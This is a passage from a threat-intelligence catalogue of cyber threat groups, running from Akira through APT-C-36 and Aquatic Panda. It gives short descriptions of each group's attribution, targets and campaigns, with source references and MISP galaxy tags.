ransomware.^{[[BushidoToken Akira 2023](https://app.tidalcyber.com/references/8fe09ef1-f72e-5261-b79f-5d41fad51eac)]}^{[[CISA Akira Ransomware APR 2024](https://app.tidalcyber.com/references/bfa99833-7ddf-576a-958c-adac87da09c8)]}^{[[Cisco Akira Ransomware OCT 2024](https://app.tidalcyber.com/references/fa57d7ae-c0d2-58cd-8a91-a242f7348d60)]}

The tag is: *misp-galaxy:groups="Akira"*

Andariel

[Andariel](https://app.tidalcyber.com/groups/2cc997b5-5076-4eef-9974-f54387614f46) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://app.tidalcyber.com/groups/2cc997b5-5076-4eef-9974-f54387614f46) has primarily

focused its operations—which have included destructive attacks—against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://app.tidalcyber.com/groups/2cc997b5-5076-4eef-9974-f54387614f46)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.^{[[FSI Andariel Campaign Rifle July 2017](https://app.tidalcyber.com/references/bde61ee9-16f9-4bd9-a847-5cc9df21335c)]}^{[[IssueMakersLab Andariel GoldenAxe May 2017](https://app.tidalcyber.com/references/10a21964-d31f-40af-bf32-5ccd7d8c99a2)]}^{[[AhnLab Andariel Subgroup of Lazarus June 2018](https://app.tidalcyber.com/references/bbc66e9f-98f9-4e34-b568-2833ea536f2e)]}^{[[TrendMicro New Andariel Tactics July 2018](https://app.tidalcyber.com/references/b667eb44-8c2f-4319-bc93-f03610214b8b)]}^{[[CrowdStrike Silent Chollima Adversary September 2021](https://app.tidalcyber.com/references/835283b5-af3b-4baf-805e-da8ebbe8b5d2)]}

[Andariel](https://app.tidalcyber.com/groups/2cc997b5-5076-4eef-9974-f54387614f46) is considered a sub-set of [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08), and has been attributed to North Korea's Reconnaissance General Bureau.^{[[Treasury North Korean Cyber Groups September 2019](https://app.tidalcyber.com/references/54977bb2-2929-41d7-bdea-06d39dc76174)]}

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:groups="Andariel"*

AnonGhost

AnonGhost is an apparent hacktivist collective. In October 2023, following a series of air- and land-based attacks in the Gaza Strip, AnonGhost was one of several hacktivist groups that claimed responsibility for disruptive attacks against computer networks in Israel. Researchers indicated that they observed AnonGhost actors exploit an undisclosed API vulnerability in Red Alert, an application that provides warning of projectile attacks in Israel, using Python scripts to intercept web requests and send spam messages to the app's users.^{[[Group-IB Threat Intelligence Tweet October 9 2023](/references/2df546ed-6577-44b2-9b26-0a17c3622df7)]}

The tag is: *misp-galaxy:groups="AnonGhost"*

Anonymous (Collective)

Anonymous is a decentralized international group of hacktivists known for carrying out cyber attacks against government bodies and corporations worldwide. Their activities often include distributed denial-of-service (DDoS) attacks, website defacements, and data leaks, primarily motivated by opposition to internet censorship, control, and various geopolitical issues.^{[[Cyber Security Agency of Singapore March 9 2022](/references/382b5b53-8f24-4e20-9493-ccc8187fef51)]}

The tag is: *misp-galaxy:groups="Anonymous (Collective)"*

Anonymous Sudan

Anonymous Sudan is an apparent hacktivist collective that has primarily used distributed denial of service (DDoS) and website defacement attacks in support of its ideology, which appears to largely align with Russian state interests. The group regularly cross-promotes communications with Killnet, another hacktivist group that appears to share similar ideologies and methods of operation.^{[[Flashpoint Anonymous Sudan Timeline](/references/2e7060d2-f7bc-457e-a2e6-12897d503ea6)]} Researchers assess that the group is affiliated with neither the Anonymous hacktivist group nor Sudan.^{[[CyberCX Anonymous Sudan June 19 2023](/references/68ded9b7-3042-44e0-8bf7-cdba2174a3d8)]}

Since emerging in January 2023, Anonymous Sudan has claimed and is believed to be responsible for a considerable number of DDoS attacks affecting victims in a wide range of geographic locations and sectors.^{[[Flashpoint Anonymous Sudan Timeline](/references/2e7060d2-f7bc-457e-a2e6-12897d503ea6)]} It claimed responsibility for a series of early June 2023 DDoS attacks that caused temporary interruptions to Microsoft Azure, Outlook, and OneDrive services. Microsoft security researchers attributed those attacks to the Storm-1359 group.^{[[The Hacker News Microsoft DDoS June 19 2023](/references/2ee27b55-b7a7-40a8-8c0b-5e28943cd273)]}^{[[Microsoft DDoS Attacks Response June 2023](/references/d64e941e-785b-4b23-a7d0-04f12024b033)]} Like Killnet, Anonymous Sudan claimed responsibility for disruptive attacks against computer networks in Israel following a series of air- and land-based attacks in the Gaza Strip in October 2023.^{[[FalconFeedsio Tweet October 9 2023](/references/e9810a28-f060-468b-b4ea-ffed9403ae8b)]}

The tag is: *misp-galaxy:groups="Anonymous Sudan"*

Antique Typhoon

Antique Typhoon (formerly tracked as Storm-0558) is a China-based actor that has espionage objectives. In May 2023, the actor was observed using forged authentication tokens to access email accounts belonging to users at various governmental agencies, and "related consumer accounts" in public cloud environments.^{[[Microsoft Security Blog July 14 2023](/references/a9cf756b-8157-4cc4-bdab-b10f320487df)]}

The tag is: *misp-galaxy:groups="Antique Typhoon"*

Anubis Ransomware Group

Anubis is a ransomware group that emerged in late 2024, known for using double extortion tactics and operating as a ransomware-as-a-service (RaaS). They employ various monetization models, including data ransomware and access monetization affiliate programs. The group is suspected to have former affiliates of other ransomware groups and is active on cybercrime forums like RAMP and XSS.^{[[Kelacyber February 25 2025](/references/321f34fb-b80b-4bd3-bceb-e51b6214b883)]}

The tag is: *misp-galaxy:groups="Anubis Ransomware Group"*

Aoqin Dragon

[Aoqin Dragon](https://app.tidalcyber.com/groups/454402a3-0503-45bf-b2e0-177fa2e2d412) is a suspected Chinese cyber espionage threat group that has been active since at least 2013. [Aoqin Dragon](https://app.tidalcyber.com/groups/454402a3-0503-45bf-b2e0-177fa2e2d412) has primarily targeted government, education, and telecommunication organizations in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. Security researchers noted a potential association between [Aoqin Dragon](https://app.tidalcyber.com/groups/454402a3-0503-45bf-b2e0-177fa2e2d412) and UNC94, based on malware, infrastructure, and targets.^{[[SentinelOne Aoqin Dragon June 2022](https://app.tidalcyber.com/references/b4e792e0-b1fa-4639-98b1-233aaec53594)]}

The tag is: *misp-galaxy:groups="Aoqin Dragon"*

APT1

[APT1](https://app.tidalcyber.com/groups/5307bba1-2674-4fbd-bfd5-1db1ae06fc5f) is a Chinese threat group that has been attributed to the 2nd Bureau of the People's Liberation Army (PLA) General Staff Department's (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. ^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}

The tag is: *misp-galaxy:groups="APT1"*

APT12

[APT12](https://app.tidalcyber.com/groups/225314a7-8f40-48d4-9cff-3ec39b177762) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.^{[[Meyers Numbered Panda](https://app.tidalcyber.com/references/988dfcfc-0c16-4129-9523-a77539291951)]}

The tag is: *misp-galaxy:groups="APT12"*

APT16

[APT16](https://app.tidalcyber.com/groups/06a05175-0812-44f5-a529-30eba07d1762) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. ^{[[FireEye EPS Awakens Part 2](https://app.tidalcyber.com/references/7fd58ef5-a0b7-40b6-8771-ca5e87740965)]}

The tag is: *misp-galaxy:groups="APT16"*

APT17

[APT17](https://app.tidalcyber.com/groups/5f083251-f5dc-459a-abfc-47a1aa7f5094) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. <sup>[[FireEye APT17](https://app.tidalcyber.com/references/a303f97a-72dd-4833-

bac7-a421addc3242)]</sup>

The tag is: *misp-galaxy:groups="APT17"*

APT18

[APT18](https://app.tidalcyber.com/groups/a0c31021-b281-4c41-9855-436768299fe7) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. ^{[[Dell Lateral Movement](https://app.tidalcyber.com/references/fcc9b52a-751f-4985-8c32-7aaf411706ad)]}

The tag is: *misp-galaxy:groups="APT18"*

APT19

[APT19](https://app.tidalcyber.com/groups/713e2963-fbf4-406f-a8cf-6a4489d90439) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. ^{[[FireEye APT19](https://app.tidalcyber.com/references/d75508b1-8b85-47c9-a087-bc64e8e4cb33)]}
Some analysts track [APT19](https://app.tidalcyber.com/groups/713e2963-fbf4-406f-a8cf-6a4489d90439) and [Deep Panda](https://app.tidalcyber.com/groups/43f826a1-e8c8-47b8-9b00-38e1b3e4293b) as the same group, but it is unclear from open source information if the groups are the same. ^{[[ICIT China's Espionage Jul 2016](https://app.tidalcyber.com/references/1a824860-6978-454d-963a-a56414a4312b)]} ^{[[FireEye APT Groups](https://app.tidalcyber.com/references/5b6b909d-870a-4d14-85ec-6aa14e598740)]} ^{[[Unit 42 C0d0so0 Jan 2016](https://app.tidalcyber.com/references/c740fc1c-093e-4389-890e-1fd88a824df4)]}

The tag is: *misp-galaxy:groups="APT19"*

APT20

APT20 is a suspected China-attributed espionage actor. It has attacked organizations in a wide range of verticals for data theft. These operations appear to be motivated by the acquisition of intellectual property but also collection of information around individuals with particular political interests.^{[[Mandiant APT Groups List](/references/c984fcfc-1bfd-4b1e-9034-a6ff3e6ebf97)]} Researchers attributed, with medium confidence, the years-long Operation Wocao espionage campaign to APT20.^{[[FoxIT Wocao December 2019](/references/aa3e31c7-71cd-4a3f-b482-9049c9abb631)]}

The tag is: *misp-galaxy:groups="APT20"*

APT28

[APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.<sup>[[NSA/FBI Drovorub August

2020](https://app.tidalcyber.com/references/d697a342-4100-4e6b-95b9-4ae3ba80924b)]</sup>^{[[Cybersecurity Advisory GRU Brute Force Campaign July 2021](https://app.tidalcyber.com/references/e70f0742-5f3e-4701-a46b-4a58c0281537)]} This group has been active since at least 2004.^{[[DOJ GRU Indictment Jul 2018](https://app.tidalcyber.com/references/d65f371b-19d0-49de-b92b-94a2bea1d988)]}^{[[Ars Technica GRU indictment Jul 2018](https://app.tidalcyber.com/references/a1192cb3-4536-4900-93c7-a127ca06c690)]}^{[[Crowdstrike DNC June 2016](https://app.tidalcyber.com/references/7f4edc06-ac67-4d71-b39c-5df9ce521bbb)]}^{[[FireEye APT28](https://app.tidalcyber.com/references/c423b2b2-25a3-4a8d-b89a-83ab07c0cd20)]}^{[[SecureWorks TG-4127](https://app.tidalcyber.com/references/5f401c82-4e16-43a1-b234-48918fe7df9f)]}^{[[FireEye APT28 January 2017](https://app.tidalcyber.com/references/61d80b8f-5bdb-41e6-b59a-d2d996392873)]}^{[[GRIZZLY STEPPE JAR](https://app.tidalcyber.com/references/4b26d274-497f-49bc-a2a5-b93856a49893)]}^{[[Sofacy DealersChoice](https://app.tidalcyber.com/references/ec157d0c-4091-43f5-85f1-a271c4aac1fc)]}^{[[Palo Alto Sofacy 06-2018](https://app.tidalcyber.com/references/a32357eb-3226-4bee-aeed-d2fbcfa52da0)]}^{[[Symantec APT28 Oct 2018](https://app.tidalcyber.com/references/777bc94a-6c21-4f8c-9efa-a1cf52ececc0)]}^{[[ESET Zebrocy May 2019](https://app.tidalcyber.com/references/f8b837fb-e46c-4153-8e86-dc4b909b393a)]}

[APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election.^{[[Crowdstrike DNC June 2016](https://app.tidalcyber.com/references/7f4edc06-ac67-4d71-b39c-5df9ce521bbb)]} In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.^{[[US District Court Indictment GRU Oct 2018](https://app.tidalcyber.com/references/56aeab4e-b046-4426-81a8-c3b2323492f0)]} Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666).

The tag is: *misp-galaxy:groups="APT28"*

APT29

[APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).^{[[White House Imposing Costs RU Gov April 2021](https://app.tidalcyber.com/references/c2bf9e2f-cd0a-411d-84bc-61454a369c6b)]}^{[[UK Gov Malign RIS Activity April 2021](https://app.tidalcyber.com/references/7fe5a605-c33e-4d3d-b787-2d1f649bee53)]} They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) reportedly compromised the Democratic National Committee starting in the summer of 2015.<sup>[[F-Secure The Dukes](https://app.tidalcyber.com/references/cc0dc623-ceb5-4ac6-bfbb-

4f8514d45a27)]</sup>^{[[GRIZZLY STEPPE JAR](https://app.tidalcyber.com/references/4b26d274-497f-49bc-a2a5-b93856a49893)]}^{[[Crowdstrike DNC June 2016](https://app.tidalcyber.com/references/7f4edc06-ac67-4d71-b39c-5df9ce521bbb)]}^{[[UK Gov UK Exposes Russia SolarWinds April 2021](https://app.tidalcyber.com/references/ffbd83d7-9d4f-42b9-adc0-eb144045aef2)]}

In April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://app.tidalcyber.com/campaigns/8bde8146-0656-5800-82e6-e24e008e4f4a) to the SVR; public statements included citations to [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447), Cozy Bear, and The Dukes.^{[[NSA Joint Advisory SVR SolarWinds April 2021](https://app.tidalcyber.com/references/43d9c469-1d54-454b-ba67-74e7f1de9c10)]}^{[[UK NSCS Russia SolarWinds April 2021](https://app.tidalcyber.com/references/f49e6780-8caa-4c3c-8d68-47a2cc4319a1)]} Industry reporting also referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.^{[[FireEye SUNBURST Backdoor December 2020](https://app.tidalcyber.com/references/d006ed03-a8af-4887-9356-3481d81d43e4)]}^{[[MSTIC NOBELIUM Mar 2021](https://app.tidalcyber.com/references/8688a0a9-d644-4b96-81bb-031f1f898652)]}^{[[CrowdStrike SUNSPOT Implant January 2021](https://app.tidalcyber.com/references/3a7b71cf-961a-4f63-84a8-31b43b18fb95)]}^{[[Volexity SolarWinds](https://app.tidalcyber.com/references/355cecf8-ef3e-4a6e-a652-3bf26fe46d88)]}^{[[Cybersecurity Advisory SVR TTP May 2021](https://app.tidalcyber.com/references/e18c1b56-f29d-4ea9-a425-a6af8ac6a347)]}^{[[Unit 42 SolarStorm December 2020](https://app.tidalcyber.com/references/ecbb602a-2427-5eba-8c2b-25d90c95f166)]}

The tag is: *misp-galaxy:groups="APT29"*

APT3

[APT3](https://app.tidalcyber.com/groups/9da726e6-af02-49b8-8ebe-7ea4235513c9) is a China-based threat group that researchers have attributed to China's Ministry of State Security.^{[[FireEye Clandestine Wolf](https://app.tidalcyber.com/references/dbb779c4-4d75-4fb4-ad3a-7d1f0f74e26f)]}^{[[Recorded Future APT3 May 2017](https://app.tidalcyber.com/references/a894d79f-5977-4ef9-9aa5-7bfec795ceb2)]} This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.^{[[FireEye Clandestine Wolf](https://app.tidalcyber.com/references/dbb779c4-4d75-4fb4-ad3a-7d1f0f74e26f)]}^{[[FireEye Operation Double Tap](https://app.tidalcyber.com/references/4b9af128-98da-48b6-95c7-8d27979c2ab1)]} As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.^{[[Symantec Buckeye](https://app.tidalcyber.com/references/dbf3ce3e-bcf2-4e47-ad42-839e51967395)]}

The tag is: *misp-galaxy:groups="APT3"*

APT30

[APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f) is a threat group suspected to be associated with the Chinese government. While

[Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d) shares some characteristics with [APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f), the two groups do not appear to be exact matches.^{[[FireEye APT30](https://app.tidalcyber.com/references/c48d2084-61cf-4e86-8072-01e5d2de8416)]}^{[[Baumgartner Golovkin Naikon 2015](https://app.tidalcyber.com/references/5163576f-0b2c-49ba-8f34-b7efe3f3f6db)]}

The tag is: *misp-galaxy:groups="APT30"*

APT32

[APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-b489e914a145) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.^{[[FireEye APT32 May 2017](https://app.tidalcyber.com/references/b72d017b-a70f-4003-b3d9-90d79aca812d)]}^{[[Volexity OceanLotus Nov 2017](https://app.tidalcyber.com/references/ed9f5545-377f-4a12-92e4-c0439cc5b037)]}^{[[ESET OceanLotus](https://app.tidalcyber.com/references/a7bcbaca-10c1-403a-9eb5-f111af1cbf6a)]}

The tag is: *misp-galaxy:groups="APT32"*

APT33

[APT33](https://app.tidalcyber.com/groups/99bbbe25-45af-492f-a7ff-7cbc57828bac) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.^{[[FireEye APT33 Sept 2017](https://app.tidalcyber.com/references/70610469-db0d-45ab-a790-6e56309a39ec)]}^{[[FireEye APT33 Webinar Sept 2017](https://app.tidalcyber.com/references/9b378592-5737-403d-8a07-27077f5b2d61)]}

The tag is: *misp-galaxy:groups="APT33"*

APT37

[APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.^{[[FireEye APT37 Feb 2018](https://app.tidalcyber.com/references/4d575c1a-4ff9-49ce-97cd-f9d0637c2271)]}^{[[Securelist ScarCruft Jun 2016](https://app.tidalcyber.com/references/04961952-9bac-48f3-adc7-40a3a2bcee84)]}<sup>[[Talos Group123](https://app.tidalcyber.com/

references/bf8b2bf0-cca3-437b-a640-715f9cc945f7)]</sup>

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:groups="APT37"*

APT38

[APT38](https://app.tidalcyber.com/groups/dfbce236-735c-436d-b433-933bd6eae17b) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.^{[[CISA AA20-239A BeagleBoyz August 2020](https://app.tidalcyber.com/references/a8a2e3f2-3967-4e82-a36a-2436c654fb3f)]} Active since at least 2014, [APT38](https://app.tidalcyber.com/groups/dfbce236-735c-436d-b433-933bd6eae17b) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://app.tidalcyber.com/groups/dfbce236-735c-436d-b433-933bd6eae17b) stole $81 million, as well as attacks against Bancomext ^{[[FireEye APT38 Oct 2018](https://app.tidalcyber.com/references/7c916329-af56-4723-820c-ef932a6e3409)]} and Banco de Chile ^{[[FireEye APT38 Oct 2018](https://app.tidalcyber.com/references/7c916329-af56-4723-820c-ef932a6e3409)]}; some of their attacks have been destructive.^{[[CISA AA20-239A BeagleBoyz August 2020](https://app.tidalcyber.com/references/a8a2e3f2-3967-4e82-a36a-2436c654fb3f)]}^{[[FireEye APT38 Oct 2018](https://app.tidalcyber.com/references/7c916329-af56-4723-820c-ef932a6e3409)]}^{[[DOJ North Korea Indictment Feb 2021](https://app.tidalcyber.com/references/d702653f-a9da-4a36-8f84-97caeb445266)]}^{[[Kaspersky Lazarus Under The Hood Blog 2017](https://app.tidalcyber.com/references/a1e1ab6a-8db0-4593-95ec-78784607dfa0)]}

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:groups="APT38"*

APT39

[APT39](https://app.tidalcyber.com/groups/a57b52c7-9f64-4ffe-a7c3-0de738fb2af1) is one of several names for cyber espionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://app.tidalcyber.com/groups/a57b52c7-9f64-4ffe-a7c3-0de738fb2af1) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.^{[[FireEye APT39 Jan 2019](https://app.tidalcyber.com/references/ba366cfc-cc04-41a5-903b-a7bb73136bc3)]}<sup>[[Symantec Chafer Dec 2015](https://app.tidalcyber.com/

references/0a6166a3-5649-4117-97f4-7b8b5b559929)]</sup>^{[[FBI FLASH APT39 September 2020](https://app.tidalcyber.com/references/76869199-e9fa-41b4-b045-41015e6daaec)]}^{[[Dept. of Treasury Iran Sanctions September 2020](https://app.tidalcyber.com/references/0c8ff80a-6b1d-4212-aa40-99aeef04ce05)]}^{[[DOJ Iran Indictments September 2020](https://app.tidalcyber.com/references/f30a77dd-d1d0-41b8-b82a-461dd6cd126f)]}

The tag is: *misp-galaxy:groups="APT39"*

APT41

[APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries.^{[[apt41_mandiant](https://app.tidalcyber.com/references/599f4411-6829-5a2d-865c-ac59e80afe83)]} Notable behaviors include using a wide range of malware and tools to complete mission objectives. [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group]([FireEye APT41 Aug 2019](https://app.tidalcyber.com/references/20f8e252-0a95-4ebd-857c-d05b0cde0904)]</sup>^{[[Group IB APT 41 June 2021](https://app.tidalcyber.com/references/a2bf43a0-c7da-4cb9-8f9a-b34fac92b625)]}

The tag is: *misp-galaxy:groups="APT41"*

APT42

[APT42](https://app.tidalcyber.com/groups/c4336f3a-1902-5eb1-8ad1-204da1267dcc) is an Iranian-sponsored threat group that conducts cyber espionage and surveillance.^{[[Mandiant APT42-charms](https://app.tidalcyber.com/references/12e517a6-0045-5434-b9ef-e3ecd9ec8508)]} The group primarily focuses on targets in the Middle East region, but has targeted a variety of industries and countries since at least 2015.^{[[Mandiant APT42-charms](https://app.tidalcyber.com/references/12e517a6-0045-5434-b9ef-e3ecd9ec8508)]} [APT42](https://app.tidalcyber.com/groups/c4336f3a-1902-5eb1-8ad1-204da1267dcc) starts cyber operations through spearphishing emails and/or the PINEFLOWER Android malware, then monitors and collects information from the compromised systems and devices.^{[[Mandiant APT42-charms](https://app.tidalcyber.com/references/12e517a6-0045-5434-b9ef-e3ecd9ec8508)]} Finally, [APT42](https://app.tidalcyber.com/groups/c4336f3a-1902-5eb1-8ad1-204da1267dcc) exfiltrates data using native features and open-source tools.^{[[Mandiant APT42-untangling](https://app.tidalcyber.com/references/64b19eab-8190-5e22-89a0-f7555f9f7fa2)]}

[APT42](https://app.tidalcyber.com/groups/c4336f3a-1902-5eb1-8ad1-204da1267dcc) activities have been linked to [Magic Hound](https://app.tidalcyber.com/groups/7a9d653c-8812-4b96-81d1-b0a27ca918b4) by other commercial vendors. While there are behavior and software overlaps between [Magic Hound](https://app.tidalcyber.com/groups/7a9d653c-8812-4b96-81d1-b0a27ca918b4) and [APT42](https://app.tidalcyber.com/groups/c4336f3a-1902-5eb1-8ad1-

204da1267dcc), they appear to be distinct entities and are tracked as separate entities by their originating vendor.

The tag is: *misp-galaxy:groups="APT42"*

APT42 (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "APT42" (Group). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

APT42 is an Iranian state-sponsored espionage group believed to operate on behalf of the Islamic Revolutionary Guard Corps (IRGC) Intelligence Organization (IRGC-IO). APT42 primarily focuses on collecting information on and surveilling its targets, mainly individuals and organizations with strategic significance to Iran's government. The group's operations are characterized by targeted spear-phishing attacks and surveillance activity. Mandiant researchers acknowledged overlaps between APT42 and APT35, which both likely operate on behalf of the IRGC, but noted that the groups display "substantial differences" in targeting patterns and TTPs.^{[[Mandiant Crooked Charms August 12 2022](/references/53bab956-be5b-4d8d-b553-9926bc5d9fee)]}

The tag is: *misp-galaxy:groups="APT42 (Deprecated)"*

APT5

[APT5](https://app.tidalcyber.com/groups/f46d6ee9-9d1d-586a-9f2d-6bff8fb92910) is a China-based espionage actor that has been active since at least 2007 primarily targeting the telecommunications, aerospace, and defense industries throughout the U.S., Europe, and Asia. [APT5](https://app.tidalcyber.com/groups/f46d6ee9-9d1d-586a-9f2d-6bff8fb92910) has displayed advanced tradecraft and significant interest in compromising networking devices and their underlying software including through the use of zero-day exploits.^{[[NSA APT5 Citrix Threat Hunting December 2022](https://app.tidalcyber.com/references/916e2137-46e6-53c2-a917-5b5b5c4bae3a)]}^{[[Microsoft East Asia Threats September 2023](https://app.tidalcyber.com/references/31f2c61e-cefe-5df7-9c2b-780bf03c88ec)]}^{[[Mandiant Pulse Secure Zero-Day April 2021](https://app.tidalcyber.com/references/0760480c-97be-5fc9-a6aa-f1df91a314a3)]}^{[[Mandiant Pulse Secure Update May 2021](https://app.tidalcyber.com/references/5620adaf-c2a7-5f0f-ae70-554ce720426e)]}^{[[FireEye Southeast Asia Threat Landscape March 2015](https://app.tidalcyber.com/references/59658f8b-af24-5df5-8f7d-cb6b9cf7579e)]}^{[[Mandiant Advanced Persistent Threats](https://app.tidalcyber.com/references/2d16615b-09fc-5925-8f59-6d20f334d236)]}

The tag is: *misp-galaxy:groups="APT5"*

APT73

Despite the naming convention used in its self-appointed name, APT73 is a suspected ransomware group that publicizes alleged details of its claimed victims on a dark web "leak site".^{[[Medium April 20 2024](/references/428333d6-8b04-415c-877c-36cf5a3e5967)]}

The tag is: *misp-galaxy:groups="APT73"*

APT-C-23

[APT-C-23](https://app.tidalcyber.com/groups/e3c5164e-49cf-5bb1-955d-6775585abb14) is a threat group that has been active since at least 2014.^{[[symantec_mantis](https://app.tidalcyber.com/references/76a792b5-f3cd-566e-a87b-9fae844ce07d)]} [APT-C-23](https://app.tidalcyber.com/groups/e3c5164e-49cf-5bb1-955d-6775585abb14) has primarily focused its operations on the Middle East, including Israeli military assets. [APT-C-23](https://app.tidalcyber.com/groups/e3c5164e-49cf-5bb1-955d-6775585abb14) has developed mobile spyware targeting Android and iOS devices since 2017.^{[[welivesecurity_apt-c-23](https://app.tidalcyber.com/references/7196226e-7d0d-5e14-a4e3-9b6322537039)]}

The tag is: *misp-galaxy:groups="APT-C-23"*

APT-C-36

[APT-C-36](https://app.tidalcyber.com/groups/153c14a6-31b7-44f2-892e-6d9fdc152267) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.^{[[QiAnXin APT-C-36 Feb2019](https://app.tidalcyber.com/references/cae075ea-42cb-4695-ac66-9187241393d1)]}

The tag is: *misp-galaxy:groups="APT-C-36"*

Aquatic Panda

[Aquatic Panda](https://app.tidalcyber.com/groups/b8a349a6-cde1-4d95-b20f-44c62bbfc786) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://app.tidalcyber.com/groups/b8a349a6-cde1-4d95-b20f-44c62bbfc786) has primarily targeted entities in the telecommunications, technology, and government sectors.^{[[CrowdStrike AQUATIC PANDA December 2021](https://app.tidalcyber.com/references/fd095ef2-6fc2-4f6f-9e4f-037b2a9217d2)]}

The tag is: *misp-galaxy:groups="Aquatic Panda"*

Automated Libra

